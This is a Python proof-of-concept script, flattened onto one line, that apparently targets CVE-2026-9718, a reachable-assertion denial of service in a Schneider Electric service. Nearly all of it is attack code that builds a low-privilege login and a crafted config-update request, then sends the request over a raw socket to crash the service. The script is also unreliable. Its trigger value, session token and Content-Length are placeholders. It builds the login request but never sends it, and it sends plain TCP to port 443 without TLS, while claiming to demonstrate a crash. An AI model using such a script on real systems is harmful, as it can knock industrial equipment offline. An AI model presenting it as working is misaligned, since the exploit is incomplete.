CVE-2026-9718

# CVE-2026-9718 PoC - Schneider Electric Reachable Assertion DoS # CWE-617: Reachable Assertion vulnerability # This PoC demonstrates triggering an assertion failure via crafted request import socket import struct import sys TARGET_HOST = "target_ip" TARGET_PORT = 443 # Adjust based on affected service port USERNAME = "low_priv_user" PASSWORD = "password123" def craft_malicious_request(): """ Craft a specially crafted request that triggers the reachable assertion. The malformed field in the request body causes the server-side assertion to fail, resulting in process termination (DoS). """ # Step 1: Authentication phase (obtain session token with low-privilege creds) auth_payload = ( f"POST /api/auth HTTP/1.1\r\n" f"Host: {TARGET_HOST}\r\n" f"Content-Type: application/json\r\n" f"Content-Length: XX\r\n" f"\r\n" f'{{"username":"{USERNAME}","password":"{PASSWORD}"}}' ) # Step 2: Crafted request with assertion-triggering payload # The malicious value in the 'config_param' field triggers the # internal assert() check, causing the service to abort. malicious_payload = ( f"POST /api/v1/config/update HTTP/1.1\r\n" f"Host: {TARGET_HOST}\r\n" f"Authorization: Bearer <session_token>\r\n" f"Content-Type: application/json\r\n" f"Content-Length: XX\r\n" f"\r\n" f'{{"config_param":"<special_value_triggers_assertion>"}}' ) return malicious_payload def send_dos_request(host, port, payload): """Send the malicious payload to trigger assertion failure.""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((host, port)) sock.send(payload.encode()) response = sock.recv(4096) print(f"[+] Response received: {response[:100]}") print("[!] Assertion may have been triggered - service likely crashed") sock.close() except Exception as e: print(f"[+] Connection error (expected if service crashed): {e}") if __name__ == "__main__": target = sys.argv[1] if len(sys.argv) > 1 else TARGET_HOST payload = craft_malicious_request() send_dos_request(target, TARGET_PORT, payload)

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